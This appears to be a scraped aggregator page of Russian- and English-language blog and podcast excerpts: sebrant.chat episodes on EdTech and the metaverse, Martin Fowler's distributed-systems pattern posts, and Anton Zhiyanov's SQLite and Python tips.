Саша Ларьяновский: визионер и оптимист EdTech (и не только)
Саша Ларьяновский: визионер и оптимист EdTech (и не только) Саша Ларьяновский: визионер и оптимист EdTech (и не только)

-=Выпуск 68=- Трёп про образование и технологии в нем, про визионерство и немножко про жизнь с давним другом и одним из тех, кто еще с прошлого века строил и продолжает строить интернет в разных местах, в разных компаниях, на разных должностях — но всегда с душой. Ссылки по теме: Упомянутый в разговоре — если хочется его регулярно почитывать

1 месяц, 3 недели назад @ sebrant.chat
Ваня Ямщиков три года спустя
Ваня Ямщиков три года спустя Ваня Ямщиков три года спустя

-=Выпуск 67=- Трёп в своем идеальном виде — про всё на свете, куда язык заведёт: про науку, машинное обучение, генеративное искусство, очеловечивание алгоритмов, климатический кризис и странности наших мозгов. Ссылочки на тему упомянутого в выпуске (и ) Текст Лёши Тихонова Лев Манович

2 месяца, 4 недели назад @ sebrant.chat
Кому в метавселенной жить хорошо
Кому в метавселенной жить хорошо Кому в метавселенной жить хорошо

-=Выпуск 66=- Аудиоверсия моего открывающего доклада на конференции CodeFest-12 28 мая 2022 в Новосибирске: слегка отредактированная аудиодорожка презентации обрамлена моими уже домашними комментариями. Ссылки по теме: , сооснователями Мастерской-15, исследователями метавселенной Подкаст про то, (пока ее не опошлили)

3 месяца, 4 недели назад @ sebrant.chat
Неизбежность сложного мира
Неизбежность сложного мира Неизбежность сложного мира

-=Выпуск 65=- Сумбурный треп о том, как квантовая физика сделала возможными современные информационные технологии и привнесла в них свойственные квантовому миру сложности и странности — и всё это еще до появления квантового компьютера, который сложности добавит с избытком. Немного истории науки, немного технооптимизма, немного метавселенной — зимний согревающий коктейль образца 2022 года.

7 месяцев, 3 недели назад @ sebrant.chat
Итоги-2021 и вытекающие Прогнозы-2022
Итоги-2021 и вытекающие Прогнозы-2022 Итоги-2021 и вытекающие Прогнозы-2022

-=Выпуск 64=- Как положено под Новый год, смесь итогов и прогнозов — благо они друг с другом всегда связаны. Выпуск записан во время отпуска в Калифорнии, потому содержит немного местного колорита. А темы, конечно, предсказуемые: автономный транспорт, климатическая повестка, метавселенная и прилегающие к ней вопросы. С 2022 годом, дорогие мои слушатели!

8 месяцев, 4 недели назад @ sebrant.chat
⌨ Coding
Martin Fowler
последний пост 2 недели, 3 дня назад
Request Waiting List
Request Waiting List Request Waiting List

The waiting list is then notified to invoke the callback when the response from other cluster nodes are received.

To track responses, athens creates a WriteQuorumResponseCallback and adds it to the waiting list for each of the requests sent.

The code looks like the sample below: Note that every cluster node maintains its own instance of a waiting list.

The waiting list tracks the key and associated callback and stores the timestamp at which the callback was registered.

class ClusterNode…private void handleSetValueClientRequestRequiringQuorum(List replicas, RequestOrResponse request, ClientConnection clientConnection) { int totalExpectedResponses = replicas.size(); RequestCallback requestCal…

2 недели, 3 дня назад @ martinfowler.com
Request Batch
Request Batch Request Batch

SolutionCombine multiple requests together into a single request batch.

The batch of the request will be sent to the cluster node for processing.

Each request will be assigned a unique request number which can be used to map the response and complete the requests.

The server unpacks the batch request, and processes each of the individual requests.

class Server…private void handleBatchRequest(RequestOrResponse batchRequest, ClientConnection clientConnection) { RequestBatch batch = JsonSerDes.deserialize(batchRequest.getMessageBodyJson(), RequestBatch.class); List requests = batch.getPackedRequests(); List responses = new ArrayList<>(); for (RequestOrResponse request : requests) { RequestOrRe…

2 недели, 6 дней назад @ martinfowler.com
Key-Range Partitions
Key-Range Partitions Key-Range Partitions

A background task then runs on each cluster node to track the size of the partitions.

When a partition reaches its maximum size, it's split into two partitions, each one being approximately half the size of the original.

class KVStore…Calculating partition size and Finding the middle keyScanning the complete partition to find the split key is resource intensive.

Data stores use Generation Clock for partitions; this is updated every single time a partition is split.

YugabyteDB chooses to create two separate new partitions and marks the original as explained in their Automatic table splitting design..

1 месяц назад @ martinfowler.com
Fixed Partitions
Fixed Partitions Fixed Partitions

Partitions need to be mapped to cluster nodes.

The dedicated Consistent Core acts as a coordinator which keeps track of all nodes in the cluster and maps partitions to nodes.

The coordinator assigns partitions to cluster nodes which are known at that point in time.

If it's triggered every time a new cluster node is added, it might map partitions too early until the cluster reaches a stable state.

The coordinator can either push metadata to cluster nodes, or cluster nodes can pull it from the coordinator.

1 месяц назад @ martinfowler.com
Emergent Leader
Emergent Leader Emergent Leader

Peer-to-peer systems treat each cluster node as equal; there is no strict leader.

This means there is no explicit leader election process as happens in the Leader and Followers pattern.

Membership=" + membership); } private void updateMembership(Membership membership) { this.membership = membership; }There can be more than one seed node.

It then updates its own membership list and sends messages to all the existing members with the new membership list.

Athens updates the membership list and sends updated membership list to byantium.

1 месяц, 1 неделя назад @ martinfowler.com
Clock-Bound Wait
Clock-Bound Wait Clock-Bound Wait

Amber has its clock lagging at 1; which means that when Alice reads the latest value, it delivers the value 'Before Dawn'.

Both Alice and Bob can ask server Green for the latest version timestamp of the key they are trying to read.

If the difference betweeen clocks is very small, write requests can wait without adding a great deal of overhead.

In the Alice and Bob example mentioned above the write operation storing the t[email protected], will wait until all the clocks in the cluster are at 2.

While Philip is updating the title, Bob's read request is handled by server Blue.

1 месяц, 1 неделя назад @ martinfowler.com
Advocate, educator, and authorial stance
Advocate, educator, and authorial stance Advocate, educator, and authorial stance

This leads me to a different stance to take as an author, one that I’ll call the trade-off stance.

The trade-offs stance isn't the only way to take an educator’s role.

Another stance, which I call the merits stance, is to explain the merits of the new technique without comparing it to alternatives at all.

A good example of the merits stance is Kent Beck’s original book on Extreme Programming.

The merits stance is much less comprehensive than a trade-offs stance, but that shouldn't deter writers from taking it.

2 месяца, 1 неделя назад @ martinfowler.com
Legacy Displacement: Revert to Source
Legacy Displacement: Revert to Source Legacy Displacement: Revert to Source

Legacy systems often act as integration hubs, ingesting source data to pass on to downstream systems. A new downstream system can decouple itself from legacy by finding the source of data to the legacy and integrating directly to that instead. Ian Cartwright, Rob Horn, and James Lewis describe this Revert to Source pattern, explaining that this part of legacy displacement often also allows a new system to take advantage of upgrades to source data that the legacy had neglected.

more…

2 месяца, 3 недели назад @ localhost:1963
Product Backlog Building Canvas
Product Backlog Building Canvas Product Backlog Building Canvas

Writing stories with PBBThe book goes into more detail about the process of building product backlogs, including a step-by-step guide to building a Product Backlog Building canvas.

In PBB Canvas, you first identify, understand, and prioritize the features, then detail them in product backlog items.

Identify the PBIs Product Backlog Items (PBIs) are elements that make up the product backlog.

You fill the I want to section, the action, with the post-it on the Product Backlog Items block of the PBB canvas.

For this story it's ´perform the publication of work´section, the action, with the post-it on the Product Backlog Items block of the PBB canvas.

3 месяца, 2 недели назад @ martinfowler.com
Agile Book Club interview on Refactoring
Agile Book Club interview on Refactoring

James Shore's Art of Agile Development is my favorite single-volume book on agile software development. A reason for that is its serious emphasis on the technical practices that are essential to making it work effectively. James and I discuss the role of refactoring for software development, the nature of design changes we see, and how to break down big changes into small pieces.

more…

5 месяцев назад @ jamesshore.com
How I use Twitter
How I use Twitter How I use Twitter

A couple of recent conversations about Twitter were nudging me into writing about how I use Twitter even before The Muskover developed.

Twitter has become an important part of my online life, and my online life is a big part of what I do.

Twitter makes it easy for me to avoid them if I don't bother reading (or making) replies.

Where I find Twitter most useful is that it allows me to precisely follow individual accounts who tweet things I like to hear about.

I'm not a fan of Musk's public interactions, but it's too early to judge what effect the takeover will have on Twitter.

5 месяцев назад @ martinfowler.com
photostream 128
photostream 128 photostream 128

Heian-jingu Shrine

Kyoto, Japan (2004)

5 месяцев, 1 неделя назад @ martinfowler.com
Transitional Architecture
Transitional Architecture Transitional Architecture

To allow this interplay between legacy and new, we need to build and evolve Transitional Architecture that supports this collaboration as it changes over time.

Each of the different paths a team could take will be enabled by, or require different Transitional Architecture to be put in place.

Remember that part of using a Transitional Architecture is removing it when it's no longer needed.

But a Transitional Architecture delivers value in a couple of ways, and this value should be compared to the cost of building it.

The second value of a Transitional Architecture is how it can reduce the risk of legacy displacement.

6 месяцев назад @ martinfowler.com
Investing in the hiring process
Investing in the hiring process Investing in the hiring process

How did you get into the bottleneck?

Invariably, by then the initial team has taken on a lot.

More often than not however, indicators lag, and before anyone has had a chance to prioritize hiring, growth is bottlenecked by both capacity and capability.

We frequently hear stories where new hires are not aligned with the founders and initial team, so the hiring investment doesn’t help with the bottleneck.

How do we recognize the signs that the talent bottleneck is coming?

6 месяцев, 2 недели назад @ martinfowler.com
How to get out of the talent bottleneck
How to get out of the talent bottleneck How to get out of the talent bottleneck

How did you get into the bottleneck?

Invariably, by then the initial team has taken on a lot.

More often than not however, indicators lag, and before anyone has had a chance to prioritize hiring, growth is bottlenecked by both capacity and capability.

We frequently hear stories where new hires are not aligned with the founders and initial team, so the hiring investment doesn’t help with the bottleneck.

How do we recognize the signs that the talent bottleneck is coming?

6 месяцев, 2 недели назад @ martinfowler.com
Антон Жиянов Антон Жиянов
последний пост 2 недели, 4 дня назад
Пользовательские функции в SQLite
Пользовательские функции в SQLite Пользовательские функции в SQLite

Как писать функции на чистом SQL.

2 недели, 4 дня назад @ antonz.ru
JSON Lines
JSON Lines JSON Lines

На днях оценил формат JSON Lines.

Это такой CSV на стероидах:Например:

1 месяц, 3 недели назад @ antonz.ru
Многозначительное многоточие в Python
Многозначительное многоточие в Python Многозначительное многоточие в Python

Не самая известная штука в Python — многоточие:Это рабочий код.

В питоне ... (он же Ellipsis ) — реальный объект, который можно использовать в коде.

Ellipsis — единственный экземпляр типа EllipsisType (аналогично тому, как None — единственный экземпляр типа NoneType ):Авторы Python в основном используют ... , чтобы показать, что у типа, метода или функции отсутствует реализация — как в примере с fly() .

И в тайп-хинтах:

3 месяца, 3 недели назад @ antonz.ru
Летающая свинья, или протоколы в Python
Летающая свинья, или протоколы в Python Летающая свинья, или протоколы в Python

Допустим, вы написали утилиту, которая отправляет что угодно в полет:Ну, то есть не прям все что угодно.

Очень удобно — одной функцией запускаем и голубя Френка, и самолет, и даже Супермена:Не то чтобы наши герои особо успешно справлялись с задачей, но запуск на них работает.

Дать понять, что параметр thing в launch() — это не любой объект, а обязательно летающая хреновина с методом fly() .

Если вы привыкли избегать типов, то обойдетесь именем переменной или комментарием к функции:Почему бы и нет.

Беда в том, что чем сложнее код, тем чаще сбоит «описательный» подход.

3 месяца, 4 недели назад @ antonz.ru
Случайные числа и последовательности в Python
Случайные числа и последовательности в Python Случайные числа и последовательности в Python

Там намного больше, чем просто randint()

4 месяца назад @ antonz.ru
Временные таблицы в SQLite
Временные таблицы в SQLite Временные таблицы в SQLite

Временные таблицы в SQLiteБывает, хочется собрать данные из нескольких таблиц в одну, и дальше с ними поработать.

Представление работает как CTE, но к нему можно обращаться как к обычной таблице и не повторять каждый раз подзапрос.

Как и CTE, представление тоже вычисляется на лету.

-- 1) create once create temp table combined_temp as select v . * , e . name , a . name from vacancy as v join employer as e on e . id = v . employer_id join area as a on a . id = v . area_id ; -- 2) use everywhere select ... from combined_temp where ... group by ... order by ...Технически, SQLite хранит временные таблицы в специальной temp -базе.

Она лежит в отдельном файле на диске и видна только тому соединени…

4 месяца, 1 неделя назад @ antonz.ru
JSON и виртуальные столбцы в SQLite
JSON и виртуальные столбцы в SQLite JSON и виртуальные столбцы в SQLite

У вычисляемых столбцов есть еще одно чрезвычайно полезное применение.

Допустим, вы решили вести журнал событий, которые происходят в системе.

События бывают разных типов, у каждого свой набор полей.

Например, вход в систему:Или пополнение счета:Вы решаете не заниматься нормализацией по таблицам, а хранить прямо в JSON.

Заводите таблицу events с единственным полем value :И выбираете события по конкретному объекту:

4 месяца, 2 недели назад @ antonz.ru
Компактные объекты в Python
Компактные объекты в Python Компактные объекты в Python

Питон — объектный язык.

Это здорово и удобно, пока не придется создать 10 млн объектов в памяти, которые благополучно ее и съедят.

Поговорим о том, как уменьшить аппетит.

Допустим, есть у вас простенький объект «питомец» с атрибутами «имя» (строка) и «стоимость» (целое).

Интуитивно кажется, что самое компактное предоставление — в виде кортежа:Замерим, сколько займет в памяти один такой красавчик:

4 месяца, 2 недели назад @ antonz.ru
Новости стандартной библиотеки Python
Новости стандартной библиотеки Python Новости стандартной библиотеки Python

17 модулей с новыми фичами и доработками.

4 месяца, 2 недели назад @ antonz.ru
Вычисляемые столбцы в SQLite
Вычисляемые столбцы в SQLite Вычисляемые столбцы в SQLite

Чтобы не повторять сложные выражения в каждом запросе.

4 месяца, 3 недели назад @ antonz.ru
Постраничный итератор в Python
Постраничный итератор в Python Постраничный итератор в Python

Тут и пригодится постраничный итератор!

Будем продолжать, пока исходная последовательность не закончится:def paginate ( iterable , page_size ): page = [] for item in iterable : page .

append ( item ) if len ( page ) == page_size : yield page page = [] yield pagereader = fetch_toys () page_size = 10_000 for page in paginate ( reader , page_size ) process_batch ( page )Реализация рабочая, но есть проблемка.

А вот практически — да, если перенести как можно больше действий из кода на питоне в библиотечный код на си.

Чтобы не писать такой обход каждый раз с нуля, удобно использовать универсальный постраничный итератор.

4 месяца, 3 недели назад @ antonz.ru
Многострочные запросы в консоли SQLite
Многострочные запросы в консоли SQLite Многострочные запросы в консоли SQLite

Как отредактировать большой запрос за один раз

5 месяцев назад @ antonz.ru
Закешировать результат вычислений в Python
Закешировать результат вычислений в Python Закешировать результат вычислений в Python

Предположим, написали вы функцию, которая возвращает емейл пользователя:Одна беда: функция find_by_id() лезет в уж-ж-жасно медленную легаси-систему:Если 100 раз вызвать get_user_email(42) — будет 100 медленных запросов.

Хотя по уму хватило бы и одного.

Что ж, давайте приделаем простенький кеш:

5 месяцев, 1 неделя назад @ antonz.ru
История команд SQLite
История команд SQLite История команд SQLite

Помогает найти запрос, чтобы не вводить заново.

5 месяцев, 1 неделя назад @ antonz.ru
Гибкие типы данных в SQLite
Гибкие типы данных в SQLite Гибкие типы данных в SQLite

Почему sqlite называют «джаваскриптом в мире баз данных».

8 месяцев, 2 недели назад @ antonz.ru